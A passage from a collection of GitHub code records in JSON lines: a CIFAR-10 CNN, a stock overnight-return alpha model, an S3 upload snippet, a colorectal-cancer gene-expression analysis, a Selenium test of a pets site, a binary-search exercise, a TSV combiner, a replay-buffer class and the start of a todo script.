Convolutional Layers: Adds convolutional layers (Conv2D) with specific parameters:\nFirst convolutional layer: 32 filters of size (3, 3) using ReLU activation, accepting input images of shape (32, 32, 3) \n(height, width, channels).\nFirst max-pooling layer (MaxPooling2D) with a pool size of (2, 2).\nSecond convolutional layer: 64 filters of size (3, 3) using ReLU activation.\nSecond max-pooling layer with a pool size of (2, 2).\nThird convolutional layer: 64 filters of size (3, 3) using ReLU activation.\nFlatten and Dense Layers: Flattens the output from the convolutional layers into a 1D array and adds dense layers \n(Dense) with specific activations:\nDense layer with 64 neurons using ReLU activation.\nDropout layer (Dropout) with a dropout rate of 0.5 to prevent overfitting.\nOutput dense layer with 10 neurons using the softmax activation for multi-class classification (CIFAR-10 has 10 classes).'''\nmodel = Sequential([\n Conv2D(32, (3, 3), activation='relu', input_shape=(32, 32, 3)),\n MaxPooling2D((2, 2)),\n Conv2D(64, (3, 3), activation='relu'),\n MaxPooling2D((2, 2)),\n Conv2D(64, (3, 3), activation='relu'),\n Flatten(),\n Dense(64, activation='relu'),\n Dropout(0.5),\n Dense(10, activation='softmax')\n])\n\n'''Compile the Model: Configures the model for training by specifying the optimizer, loss function, and evaluation metrics:\nOptimizer: 'adam', an efficient gradient descent optimization algorithm.\nLoss function: 'sparse_categorical_crossentropy' suitable for multi-class classification tasks.\nMetrics to track during training: 'accuracy'.'''\nmodel.compile(optimizer='adam',\n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n\n'''Train the Model: Fits the model to the training data (train_images, train_labels) for 10 epochs. \nAlso validates the model's performance using the test data during training (validation_data=(test_images, test_labels)).'''\nhistory = model.fit(train_images, train_labels, epochs=10, validation_data=(test_images, test_labels))\n\n'''Evaluate the Model: Calculates the loss and accuracy of the trained model on the test dataset using model.evaluate().'''\ntest_loss, test_accuracy = model.evaluate(test_images, test_labels)\n\n'''Calculate Predictions: Generates predictions using the trained model on the test images and obtains the class \nlabels with the highest probability using np.argmax() along the last axis.'''\npredictions = np.argmax(model.predict(test_images), axis=-1)\n\n'''Generate Confusion Matrix: Computes the confusion matrix using confusion_matrix from Scikit-learn, \ncomparing test_labels with predictions.'''\nconf_matrix = confusion_matrix(test_labels, predictions)\n\n'''Plot Confusion Matrix: Displays the confusion matrix using plt.imshow() to visualize the model's performance in \nclassifying different categories.'''\nplt.figure(figsize=(8, 6))\nplt.imshow(conf_matrix, cmap=plt.cm.Blues)\nplt.title('Confusion Matrix')\nplt.colorbar()\nplt.xlabel('Predicted Labels')\nplt.ylabel('True Labels')\nplt.show()\n\n'''Print Evaluation Metrics: Outputs the test accuracy obtained from model.evaluate().'''\nprint(f'Test accuracy: {test_accuracy}')","repo_name":"Szykuc2001/NAI_Labs","sub_path":"Lab5/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":4394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9115431145","text":"#!/usr/bin/env python \n\nfrom __future__ import print_function\nfrom regress import *\nfrom loaddata import *\nfrom util import *\n\ndef wavg(group):\n b = group['pbeta']\n d = group['overnight_log_ret']\n w = group['mkt_cap_y'] / 1e6\n res = b * ((d * w).sum() / w.sum())\n return res\n\ndef wavg2(group):\n b = group['pbeta']\n d = group['overnight_log_ret']\n w = group['mkt_cap_y'] / 1e6\n res = b * ((d * w).sum() / w.sum())\n return res\n\ndef wavg3(group):\n b = group['pbeta']\n d = group['cur_log_ret']\n w = group['mkt_cap_y'] / 1e6\n res = b * ((d * w).sum() / w.sum())\n return res\n\n\ndef calc_c2o_daily(daily_df, horizon):\n print(\"Caculating daily c2o...\")\n result_df = filter_expandable(daily_df)\n\n print(\"Calculating c2o0...\")\n# result_df['c2o0'] = result_df['overnight_log_ret'] / result_df['pbeta']\n result_df['bret'] = result_df[['overnight_log_ret', 'pbeta', 'mkt_cap_y', 'gdate']].groupby('gdate').apply(wavg).reset_index(level=0)['pbeta']\n result_df['badjret'] = result_df['overnight_log_ret'] - result_df['bret']\n\n # result_df['c2o0_B'] = result_df['log_ret'] * (1 + np.abs(result_df['badjret'])) ** 3\n result_df['c2o0'] = result_df['badjret']\n result_df.ix[ np.abs(result_df['c2o0']) < .02 , 'c2o0'] = 0\n result_df['c2o0_B'] = winsorize_by_date(result_df['c2o0'])\n\n result_df = result_df.dropna(subset=['c2o0_B'])\n\n demean = lambda x: (x - x.mean())\n indgroups = result_df[['c2o0_B', 'gdate', 'ind1']].groupby(['gdate', 'ind1'], sort=False).transform(demean)\n result_df['c2o0_B_ma'] = indgroups['c2o0_B']\n \n print(\"Calulating lags...\")\n for lag in range(1,horizon+1):\n shift_df = result_df.unstack().shift(lag).stack()\n result_df['c2o' + str(lag) + '_B_ma'] = shift_df['c2o0_B_ma']\n \n return result_df\n\ndef calc_c2o_intra(intra_df):\n print(\"Calculating c2o intra...\")\n result_df = filter_expandable(intra_df)\n\n print(\"Calulating c2oC...\")\n result_df['cur_log_ret'] = np.log(result_df['iclose']/result_df['dopen'])\n result_df['bretC'] = result_df[['cur_log_ret', 'pbeta', 'mkt_cap_y', 'giclose_ts']].groupby(['giclose_ts'], sort=False).apply(wavg3).reset_index(level=0)['pbeta']\n result_df['badjretC'] = result_df['cur_log_ret'] - result_df['bretC']\n\n result_df['bret'] = result_df[['overnight_log_ret', 'pbeta', 'mkt_cap_y', 'giclose_ts']].groupby(['giclose_ts'], sort=False).apply(wavg2).reset_index(level=0)['pbeta']\n result_df['badjret'] = result_df['overnight_log_ret'] - result_df['bret']\n\n# result_df['c2oC_B'] = result_df['badjretC'] * (1 + np.abs(result_df['badjret'])) ** 3 \n result_df['c2oC'] = result_df['badjret']\n result_df.ix[ np.abs(result_df['c2oC']) < .02 , 'c2oC'] = 0\n result_df['c2oC_B'] = winsorize_by_ts(result_df['c2oC'])\n result_df = result_df.dropna(subset=['c2oC_B'])\n\n print(\"Calulating c2oC_ma...\")\n demean = lambda x: (x - x.mean())\n indgroups = result_df[['c2oC_B', 'giclose_ts', 'ind1']].groupby(['giclose_ts', 'ind1'], sort=False).transform(demean)\n result_df['c2oC_B_ma'] = indgroups['c2oC_B']\n\n return result_df\n\ndef c2o_fits(daily_df, intra_df, horizon, name, middate):\n # daily_df['dow'] = daily_df['gdate'].apply(lambda x: x.weekday())\n # daily_df['dow'] = daily_df['dow'].clip(0,1)\n # intra_df['dow'] = intra_df['date'].apply(lambda x: x.weekday())\n # intra_df['dow'] = intra_df['dow'].clip(0,1)\n insample_intra_df = intra_df\n insample_daily_df = daily_df\n outsample_intra_df = intra_df\n if middate is not None:\n insample_intra_df = intra_df[ intra_df['date'] < middate ]\n insample_daily_df = daily_df[ daily_df.index.get_level_values('date') < middate ]\n outsample_intra_df = intra_df[ intra_df['date'] >= middate ]\n\n outsample_intra_df['c2o'] = 0\n outsample_intra_df[ 'c2oC_B_ma_coef' ] = np.nan\n for lag in range(1, horizon+1):\n outsample_intra_df[ 'c2o' + str(lag) + '_B_ma_coef' ] = np.nan\n\n fits_df = pd.DataFrame(columns=['horizon', 'coef', 'indep', 'tstat', 'nobs', 'stderr'])\n\n fitresults_df = regress_alpha(insample_intra_df, 'c2oC_B_ma', horizon, True, 'intra_eod')\n fits_df = fits_df.append(fitresults_df, ignore_index=True)\n plot_fit(fits_df, \"c2o_intra_\"+name+\"_\" + df_dates(insample_intra_df))\n fits_df.set_index(keys=['indep', 'horizon'], inplace=True) \n \n unstacked = outsample_intra_df[ ['ticker'] ].unstack()\n coefs = dict()\n coefs[1] = unstacked.between_time('09:30', '10:31').stack().index\n coefs[2] = unstacked.between_time('10:30', '11:31').stack().index\n coefs[3] = unstacked.between_time('11:30', '12:31').stack().index\n coefs[4] = unstacked.between_time('12:30', '13:31').stack().index\n coefs[5] = unstacked.between_time('13:30', '14:31').stack().index\n coefs[6] = unstacked.between_time('14:30', '16:01').stack().index\n unstacked = None\n\n for ii in range(1,7):\n outsample_intra_df.ix[ coefs[ii], 'c2oC_B_ma_coef' ] = fits_df.ix['c2oC_B_ma'].ix[ii].ix['coef']\n\n #DAILY...\n fits_df = pd.DataFrame(columns=['horizon', 'coef', 'indep', 'tstat', 'nobs', 'stderr'])\n for lag in range(1,horizon+1):\n print(insample_daily_df.head())\n fitresults_df = regress_alpha(insample_daily_df, 'c2o0_B_ma', lag, True, 'daily') \n fits_df = fits_df.append(fitresults_df, ignore_index=True) \n plot_fit(fits_df, \"c2o_daily_\"+name+\"_\" + df_dates(insample_daily_df))\n fits_df.set_index(keys=['indep', 'horizon'], inplace=True) \n\n # for dow in range(0,2): \n # coef0 = fits_df.ix['c2o0_B_ma'].ix[horizon * 10 + dow].ix['coef']\n # for lag in range(1,horizon):\n # coef = coef0 - fits_df.ix['c2o0_B_ma'].ix[lag * 10 + dow].ix['coef'] \n # print \"Coef{}: {}\".format(lag, coef)\n # dowidx = outsample_intra_df[ outsample_intra_df['dow'] == dow ].index\n # outsample_intra_df.ix[ dowidx, 'c2o'+str(lag)+'_B_ma_coef' ] = coef\n\n coef0 = fits_df.ix['c2o0_B_ma'].ix[horizon].ix['coef']\n for lag in range(1,horizon):\n coef = coef0 - fits_df.ix['c2o0_B_ma'].ix[lag].ix['coef'] \n print(\"Coef{}: {}\".format(lag, coef))\n outsample_intra_df[ 'c2o'+str(lag)+'_B_ma_coef' ] = coef\n\n outsample_intra_df[ 'c2o'] = outsample_intra_df['c2oC_B_ma'] * outsample_intra_df['c2oC_B_ma_coef']\n for lag in range(1,horizon):\n outsample_intra_df[ 'c2o'] += outsample_intra_df['c2o'+str(lag)+'_B_ma'] * outsample_intra_df['c2o'+str(lag)+'_B_ma_coef']\n\n return outsample_intra_df\n\ndef calc_c2o_forecast(daily_df, intra_df, horizon, middate):\n daily_results_df = calc_c2o_daily(daily_df, horizon) \n forwards_df = calc_forward_returns(daily_df, horizon) \n daily_results_df = pd.concat( [daily_results_df, forwards_df], axis=1)\n intra_results_df = calc_c2o_intra(intra_df)\n intra_results_df = merge_intra_data(daily_results_df, intra_results_df)\n\n # sector_name = 'Energy'\n # print \"Running c2o for sector {}\".format(sector_name)\n # sector_df = daily_results_df[ daily_results_df['sector_name'] == sector_name ]\n # sector_intra_results_df = intra_results_df[ intra_results_df['sector_name'] == sector_name ]\n\n results = list()\n for sector_name in daily_results_df['sector_name'].dropna().unique():\n print(\"Running c2o for sector {}\".format(sector_name))\n sector_df = daily_results_df[ daily_results_df['sector_name'] == sector_name ]\n sector_intra_results_df = intra_results_df[ intra_results_df['sector_name'] == sector_name ]\n result_df = c2o_fits(sector_df, sector_intra_results_df, horizon, sector_name, middate)\n results.append(result_df)\n\n # sector_df = daily_results_df[ daily_results_df['sector_name'] != sector_name ]\n # sector_intra_results_df = intra_results_df[ intra_results_df['sector_name'] != sector_name ]\n # result2_df = c2o_fits(sector_df, sector_intra_results_df, horizon, \"ex\", middate)\n \n result_df = pd.concat(results, verify_integrity=True)\n return result_df\n\nif __name__==\"__main__\": \n parser = argparse.ArgumentParser(description='G')\n parser.add_argument(\"--start\",action=\"store\",dest=\"start\",default=None)\n parser.add_argument(\"--end\",action=\"store\",dest=\"end\",default=None)\n parser.add_argument(\"--mid\",action=\"store\",dest=\"mid\",default=None)\n parser.add_argument(\"--horizon\",action=\"store\",dest=\"horizon\",default=1)\n parser.add_argument(\"--freq\",action=\"store\",dest=\"freq\",default='15Min')\n args = parser.parse_args()\n \n start = args.start\n end = args.end\n lookback = 30\n freq = args.freq\n horizon = int(args.horizon)\n pname = \"./c2o\" + start + \".\" + end\n start = dateparser.parse(start)\n end = dateparser.parse(end)\n middate = dateparser.parse(args.mid)\n\n loaded = False\n try:\n daily_df = pd.read_hdf(pname+\"_daily.h5\", 'table')\n intra_df = pd.read_hdf(pname+\"_intra.h5\", 'table')\n loaded = True\n except:\n print(\"Did not load cached data...\")\n\n if not loaded:\n uni_df = get_uni(start, end, lookback)\n BARRA_COLS = ['ind1', 'pbeta']\n barra_df = load_barra(uni_df, start, end, BARRA_COLS)\n PRICE_COLS = ['close', 'overnight_log_ret', 'tradable_volume', 'tradable_med_volume_21']\n price_df = load_prices(uni_df, start, end, PRICE_COLS)\n daily_df = merge_barra_data(price_df, barra_df)\n DBAR_COLS = ['close', 'dopen', 'dvolume']\n daybar_df = load_daybars(price_df[ ['ticker'] ], start, end, DBAR_COLS, freq)\n intra_df = merge_intra_data(daily_df, daybar_df)\n daily_df.to_hdf(pname+\"_daily.h5\", 'table', complib='zlib')\n intra_df.to_hdf(pname+\"_intra.h5\", 'table', complib='zlib')\n\n outsample_df = calc_c2o_forecast(daily_df, intra_df, horizon, middate)\n dump_alpha(outsample_df, 'c2o')\n# dump_all(outsample_df)\n","repo_name":"timothyyu/ml_monorepo","sub_path":"statarb/to_convert/c2o.py","file_name":"c2o.py","file_ext":"py","file_size_in_byte":9858,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"21"} +{"seq_id":"37453569707","text":"import boto3\nimport botocore\nfilename = 'src.zip'\nbucket_name = 'matterhart-test'\ns3_resource = boto3.resource('s3')\nfor bucket in s3_resource.buckets.all():\n print(bucket.name)\ndata = open(filename, 'rb')\ns3_resource.Bucket(bucket_name).put_object(Key=filename, Body=data)\n\n# try:\n# s3_resource.Bucket(bucket_name).download_file(filename, 'dbtable_posts2.p')\n# except botocore.exceptions.ClientError as e:\n# if e.response['Error']['Code'] == \"404\":\n# print(\"The object does not exist.\")\n# else:\n# raise\n\n#%%","repo_name":"joelchan/code","sub_path":"conservex/src/botoTest.py","file_name":"botoTest.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9697251423","text":"import statsmodels.api as sm\r\nimport numpy as np\r\nimport pandas as pd\r\nimport scipy.stats as stats\r\n\r\nvar_table = pd.read_excel(\"GSE39582_var_table.xlsx\")\r\nmatrix_table = pd.read_excel(\"GSE39582_series_matrix_table.xlsx\", index_col=\"ID_REF\")\r\n#matrix_table = matrix_table.iloc[:, :566]\r\ngpl = pd.read_excel(\"GPL570-55999.xlsx\", index_col=\"ID\")\r\n\r\ntumor_stage_na = np.where(var_table[\"Var_05_tnm.stage\"].values == 'N/A', True, False)\r\ntumor_stage_0 = np.where(var_table[\"Var_05_tnm.stage\"].values == 0, True, False)\r\ntumor_stage_1 = np.where(var_table[\"Var_05_tnm.stage\"].values == 1, True, False)\r\nt01_or = np.logical_or(tumor_stage_0, tumor_stage_1)\r\n\r\nt01_or_X = matrix_table.iloc[:, t01_or]\r\nt01_or_y = var_table[\"Var_05_tnm.stage\"][t01_or]\r\n\r\nprint(\"# of stage0: {0} / # of stage1: {1}\".format(tumor_stage_0.sum(), tumor_stage_1.sum()))\r\nprint(\"Total # of stage01_data: {}\".format(t01_or.sum()))\r\n\r\n\r\ntumor = {}\r\nfor i in range(t01_or_X.shape[0]):\r\n X, y = t01_or_X.iloc[i, :].values, list(t01_or_y)\r\n X = sm.add_constant(X)\r\n X[:,1] = 0 #remove NaN to 0\r\n model = sm.OLS(y, X)\r\n result = model.fit()\r\n tumor[t01_or_X.index[i]] = float(result.t_test([1, 0]).pvalue)\r\n\r\nprint(len(tumor))\r\n\r\ntumor_sort = sorted(tumor.items(), key=lambda item: item[1])\r\n\r\ntumor_p_value = np.array(list(tumor.values()), dtype=np.float)\r\nprint(np.sum(np.where(tumor_p_value < 0.001, 1, 0)))\r\n\r\nsignificant_probe = list()\r\nfor dt in tumor_sort:\r\n if dt[1] < 0.001:\r\n significant_probe.append(dt[0])\r\n\r\ngpl_drop = gpl.loc[significant_probe, \"Gene Symbol\"].values\r\nunique_gene = set()\r\nfor i in gpl_drop:\r\n if type(i) == str:\r\n id_list = list(i.split(\" /// \"))\r\n unique_gene.add(id_list[0])\r\n else:\r\n pass\r\nlen(unique_gene)\r\n\r\ntop10 = list()\r\ni = 0\r\nwhile len(top10) < 10:\r\n probe_name = tumor_sort[i][0]\r\n i += 1\r\n candidate = gpl.loc[probe_name, \"Gene Symbol\"]\r\n if candidate in top10 or candidate is np.nan:\r\n continue\r\n else:\r\n top10.append(candidate)\r\n\r\nprint(top10)\r\n\r\n#(used code) – t-test\r\nbenign = np.logical_or(np.where(var_table[\"Var_05_tnm.stage\"].values == 0, True, False),\r\n np.where(var_table[\"Var_05_tnm.stage\"].values == 1, True, False))\r\nbenign = np.logical_or(benign, np.where(var_table[\"Var_05_tnm.stage\"].values == 2, True, False))\r\nbenign_matrix = matrix_table.iloc[:, benign]\r\nmalignant = np.logical_or(np.where(var_table[\"Var_05_tnm.stage\"].values == 3, True, False),\r\n np.where(var_table[\"Var_05_tnm.stage\"].values == 4, True, False))\r\nmalignant_matrix = matrix_table.iloc[:, malignant]\r\n\r\nprint(\"# of benign: {0} / # of malignant: {1}\".format(benign.sum(), malignant.sum()))\r\n\r\nmalig_p_value_dict = {}\r\nfor i in range(benign_matrix.shape[0]):\r\n M_data, WT_data = benign_matrix.iloc[i, :].values, malignant_matrix.iloc[i, :].values\r\n static, p_value = stats.ttest_ind(M_data, WT_data)\r\n malig_p_value_dict[benign_matrix.index[i]] = float(p_value)\r\n\r\nmalig_p_value_dict_sort = sorted(malig_p_value_dict.items(), key=lambda item: item[1])\r\n\r\nmalig_p_value = np.array(list(malig_p_value_dict.values()), dtype=np.float)\r\nprint(np.sum(np.where(malig_p_value < 0.001, 1, 0)))\r\n\r\n\r\nsignificant_probe = list()\r\nfor dt in malig_p_value_dict_sort:\r\n if dt[1] < 0.001:\r\n significant_probe.append(dt[0])\r\n\r\ngpl_drop = gpl.loc[significant_probe, \"Gene Symbol\"].values\r\nunique_gene = set()\r\nfor i in gpl_drop:\r\n if type(i) == str:\r\n id_list = list(i.split(\" /// \"))\r\n unique_gene.add(id_list[0])\r\n else:\r\n pass\r\nlen(unique_gene)\r\n\r\ntop10 = list()\r\ni = 0\r\nwhile len(top10) < 10:\r\n probe_name = malig_p_value_dict_sort[i][0]\r\n i += 1\r\n candidate = gpl.loc[probe_name, \"Gene Symbol\"]\r\n if candidate in top10 or candidate is np.nan:\r\n continue\r\n else:\r\n top10.append(candidate)\r\n\r\nprint(top10)\r\n\r\n\r\n\r\nprint(\"#5#######################################################\")\r\nentrez = pd.read_csv(\"c5.all.v7.4.entrez.gmt.csv\", header=None, index_col=0)\r\nentrez_p_value = {}\r\n\r\nmalig_entrez = list()\r\ni = 0\r\nwhile malig_p_value_dict_sort[i][1] < 0.001:\r\n probe_name = malig_p_value_dict_sort[i][0]\r\n i += 1\r\n candidate = gpl.loc[probe_name, \"ENTREZ_GENE_ID\"]\r\n if candidate is np.nan:\r\n continue\r\n else:\r\n if type(candidate) == str:\r\n candidate = candidate.split(\" /// \")[0]\r\n malig_entrez.append(candidate)\r\n\r\nmalig_size = len(np.unique(malig_entrez))\r\n\r\n\r\ngene_id = gpl[\"ENTREZ_GENE_ID\"].values\r\nunique_gene = set()\r\nfor i in gene_id:\r\n if type(i) == str:\r\n id_list = list(i.split(\" /// \"))\r\n unique_gene.add(id_list[0])\r\n elif type(i) == int:\r\n unique_gene.add(i)\r\n else:\r\n continue\r\nentrez_size = len(unique_gene)\r\nunique_gene = np.array(list(unique_gene))\r\n\r\nfor i in range(entrez.shape[0]):\r\n if entrez.index[i][:2] == \"GO\":\r\n info = entrez.iloc[i, :].values\r\n info = info[~np.isnan(info)].astype(np.int32)\r\n a = len(np.unique(np.intersect1d(malig_entrez, info)))\r\n b = len(np.unique(np.intersect1d(unique_gene, info)))\r\n #print(a, b)\r\n _, pvalue = stats.fisher_exact([[a, b], [malig_size - a, entrez_size - b]])\r\n entrez_p_value[entrez.index[i]] = pvalue\r\n\r\n\r\nentrez_p_value_dict_sort = sorted(entrez_p_value.items(), key=lambda item: item[1])\r\n\r\nentrez_p_value = np.array(list(entrez_p_value.values()), dtype=np.float)\r\nprint(np.sum(np.where(entrez_p_value < 0.001, 1, 0)))\r\n\r\nfor i in range(10):\r\n print(entrez_p_value_dict_sort[i])\r\n'''\r\ngo_table = pd.read_csv(\"c5.all.v7.4.entrez.gmt.csv\", header=None, index_col=0).T\r\n\r\ngo_table_pvalue = {}\r\n\r\n\r\n#malig = tumor 3 4 stage\r\nmalig = list()\r\ni =0\r\nwhile malig_p_value_dict_sort[i][1] <0.001:\r\n probe_name = malig_p_value_dict_sort[i][0]\r\n i += 1\r\n candidate = gpl.loc[probe_name, \"ENTREZ_GENE_ID\"] #mapping gpl and GO_id\r\n if candidate is np.nan:\r\n continue #nan exception handling\r\n else:\r\n if type(candidate) == str:\r\n candidate = candidate.split(\" /// \")[0] #remove useless genes after ///\r\n malig.append(candidate)\r\n\r\nmalig_size = len(np.unique(malig)) #unique gene size_malig go table\r\nprint(\"malig_unique gene size:{}\",malig_size) #1633\r\n\r\ngene_id = gpl[\"ENTREZ_GENE_ID\"].values\r\nunique_gene_go = set()\r\nfor i in gene_id:\r\n if type(i) == str:\r\n id_list = list(i.split(\" /// \"))\r\n unique_gene_go.add(id_list[0])\r\n elif type(i) == int:\r\n unique_gene_go.add(i)\r\n else:\r\n continue\r\ngo_table_size = len(np.unique(unique_gene_go)) #unique gene size in gpl #21180\r\nunique_gene_go = np.array(list(unique_gene_go)) #len: 21712\r\n\r\nfor i in range(go_table.shape[0]):\r\n if go_table.index[i][:2] == \"GO\":\r\n info = go_table.iloc[i, :].values\r\n info = info[~np.isnan(info)].astype(np.int32)\r\n a = len(np.unique(np.intersect1d(malig, info)))\r\n b = len(np.unique(np.intersect1d(unique_gene, info)))\r\n print(a, b)\r\n _, pvalue = stats.fisher_exact([[a, b], [malig_size - a, go_table_size - b]])\r\n go_table_pvalue[go_table.index[i]] = pvalue\r\n'''\r\n","repo_name":"SOOJEONGKIMM/Bioinformatics","sub_path":"four.py","file_name":"four.py","file_ext":"py","file_size_in_byte":7155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27311936326","text":"import pytest\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom settings import *\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\ndef test_show_my_pets():\n # Ввод email\n pytest.driver.find_element(By.ID, 'email').send_keys(valid_email)\n # Ввод пароля\n pytest.driver.find_element(By.ID, 'pass').send_keys(valid_password)\n # Нажимаю на кнопку входа в аккаунт\n pytest.driver.find_element(By.CSS_SELECTOR, 'button[type=\"submit\"]').click()\n # Нажимаю на кнопку \"Мои питомцы\"\n WebDriverWait(pytest.driver, 10).until(\n EC.presence_of_element_located((By.XPATH, '//a[contains(text(), \"Мои питомцы\")]'))\n ).click()\n\n # Собираю инфу по именам, фото, породам и возростам питомцев\n names = WebDriverWait(pytest.driver, 10).until(\n EC.presence_of_all_elements_located((By.XPATH, '//*[@id=\"all_my_pets\"]/table/tbody/tr/td[1]'))\n )\n\n species = WebDriverWait(pytest.driver, 10).until(\n EC.presence_of_all_elements_located((By.XPATH, '//*[@id=\"all_my_pets\"]/table/tbody/tr/td[2]'))\n )\n\n ages = WebDriverWait(pytest.driver, 10).until(\n EC.presence_of_all_elements_located((By.XPATH, '//*[@id=\"all_my_pets\"]/table/tbody/tr/td[3]'))\n )\n\n images = WebDriverWait(pytest.driver, 10).until(\n EC.presence_of_all_elements_located((By.XPATH, '//*[@id=\"all_my_pets\"]/table/tbody/tr/th/img'))\n )\n\n # Вывожу количество питомцев из статистики пользователя\n pets_amount = int(pytest.driver.find_element(By.XPATH, '/html/body/div[1]/div/div[1]').text.split()[2])\n # Сравнивыю количество имен и количество питомцев из статистики пользователя\n assert len(names) == pets_amount\n\n # Считаю количество питомцев с фото\n count_images = 0\n for i in range(len(images)):\n if images[i].get_attribute('src'):\n count_images += 1\n # Убеждаюсь, что хотя бы у половины питомцев есть фото\n assert count_images >= pets_amount / 2\n\n # Считаю количество непустых элементов списков\n count_names = 0\n for i in range(len(names)):\n if names[i].text:\n count_names += 1\n count_species = 0\n for i in range(len(species)):\n if species[i].text:\n count_species += 1\n count_ages = 0\n for i in range(len(ages)):\n if ages[i].text:\n count_ages += 1\n # Убеждаюсь, что у всех питомцев есть имя, возраст и порода.\n assert count_names == count_species == count_ages == pets_amount\n\n # Вывожу все имена питомцев в список\n list_names = []\n for i in range(len(names)):\n list_names.append(names[i].text)\n # Убеждаюсь, что у всех питомцев разные имена.\n assert len(list_names) == len(set(list_names))\n\n # Составляю список описаний питомцев\n pet = []\n pets = []\n for i in range(len(names)):\n pet.append(names[i].text)\n pet.append(species[i].text)\n pet.append(ages[i].text)\n pets.append(tuple(pet))\n pet = []\n # Убеждаюсь, что в списке нет повторяющихся питомцев (у которых одинаковые имя, порода и возраст).\n assert len(pets) == len(set(pets))\n","repo_name":"anatole365/PetFriendsUiTests","sub_path":"test_selenium_simple.py","file_name":"test_selenium_simple.py","file_ext":"py","file_size_in_byte":3703,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71007241014","text":"#!/usr/bin/python\n\n# 핵심은 특정 거리보다 멀리 떨어진 지점의 '개수'를 구한다는 것이다.\n# 이때, 특정 거리를 이분 탐색으로 구한다.\n\nn, c = map(int, input().split())\nhouse_position = sorted([int(input()) for _ in range(n)])\ndistance_low = 1\ndistance_high = house_position[-1]\n\nanswer = 0\n\nwhile distance_low <= distance_high:\n distance = (distance_high+distance_low) // 2\n\n house_left = house_position[0]\n count = 1\n\n for i in range(1, n):\n house_right = house_position[i]\n\n if house_right - house_left >= distance:\n count += 1\n house_left = house_right\n\n if count >= c:\n answer = distance\n distance_low = distance + 1\n else:\n distance_high = distance - 1\n\nprint(answer)","repo_name":"c0natus/Practice","sub_path":"Algorithm-practice/BaekJoon/Sliver or less/B2110.py","file_name":"B2110.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11450504563","text":"import cleanup\r\nimport globals\r\n\r\ndef combineTSV( sourceFiles, targetFile ):\r\n cleanup.createDirIfNotExist( globals.TSV_BIN )\r\n output = \"\"\r\n\r\n for file in sourceFiles:\r\n with open( file, \"r\" ) as f:\r\n for line in f:\r\n output += line.replace( \",\", \"\\t\") if file.endswith( \".csv\" ) else line \r\n \r\n if targetFile.endswith( \".tsv\" ):\r\n targetFile = targetFile[ :targetFile.rfind( \".\" ) ] + \".tsv\"\r\n\r\n with open( globals.TSV_BIN + targetFile, \"w\" ) as o:\r\n for line in output:\r\n o.write( line )\r\n ","repo_name":"adsuth/VGMU-batchTSVParser","sub_path":"songParser/tsv_combiner.py","file_name":"tsv_combiner.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72645279092","text":"from abc import ABC, abstractmethod\nimport os\nimport pickle as pkl\n\n\nclass ReplayBuffer(ABC):\n\n def __init__(\n self,\n monitor=None,\n logging_prefix=\"\"\n ):\n self.monitor = monitor\n self.logging_prefix = logging_prefix\n\n # storage structures for the samples collected\n self.observations = None\n self.actions = None\n self.rewards = None\n self.terminals = None\n\n # parameters to indicate the size of the buffer\n self.head = 0\n self.size = 0\n self.total_steps = 0\n self.total_paths = 0\n\n def log(\n self\n ):\n if self.monitor is not None:\n # record the current size of the buffer\n self.monitor.record(self.logging_prefix + \"head\", self.head)\n self.monitor.record(self.logging_prefix + \"size\", self.size)\n\n # record the total amount of samples collected\n self.monitor.record(self.logging_prefix + \"total_steps\", self.total_steps)\n self.monitor.record(self.logging_prefix + \"total_paths\", self.total_paths)\n\n def save(\n self,\n logging_dir\n ):\n # save the replay buffer to disk\n replay_path = os.path.join(logging_dir, self.logging_prefix + \"replay.buffer\")\n if not os.path.exists(os.path.dirname(replay_path)):\n os.makedirs(os.path.dirname(replay_path))\n with open(replay_path, \"wb\") as f:\n state = dict(\n observations=self.observations,\n actions=self.actions,\n rewards=self.rewards,\n terminals=self.terminals,\n size=self.size,\n head=self.head,\n total_steps=self.total_steps,\n total_paths=self.total_paths)\n pkl.dump(state, f)\n\n def load(\n self,\n logging_dir\n ):\n # load the replay buffer from disk if it exists\n replay_path = os.path.join(logging_dir, self.logging_prefix + \"replay.buffer\")\n if os.path.exists(replay_path):\n with open(replay_path, \"rb\") as f:\n state = pkl.load(f)\n self.observations = state[\"observations\"]\n self.actions = state[\"actions\"]\n self.rewards = state[\"rewards\"]\n self.terminals = state[\"terminals\"]\n self.size = state[\"size\"]\n self.head = state[\"head\"]\n self.total_steps = state[\"total_steps\"]\n self.total_paths = state[\"total_paths\"]\n\n @abstractmethod\n def insert_path(\n self,\n observations,\n actions,\n rewards\n ):\n return NotImplemented\n\n @abstractmethod\n def sample(\n self,\n batch_size\n ):\n return NotImplemented\n","repo_name":"brandontrabucco/cs285","sub_path":"cs285/data/replay_buffers/replay_buffer.py","file_name":"replay_buffer.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7743673805","text":"#!/usr/bin/env python3\n\nimport sys, os, os.path, tempfile, shutil, time, datetime, re\n\nTODO='ToDo:'\nDID='Did:'\nTODO_RX = re.compile(r\"^{0}\\s*\".format(TODO))\nDID_RX = re.compile(r\"^{0}\\s*\".format(DID))\nSEP_START = \"^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^\\n\"\nSEP_END = \" ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ 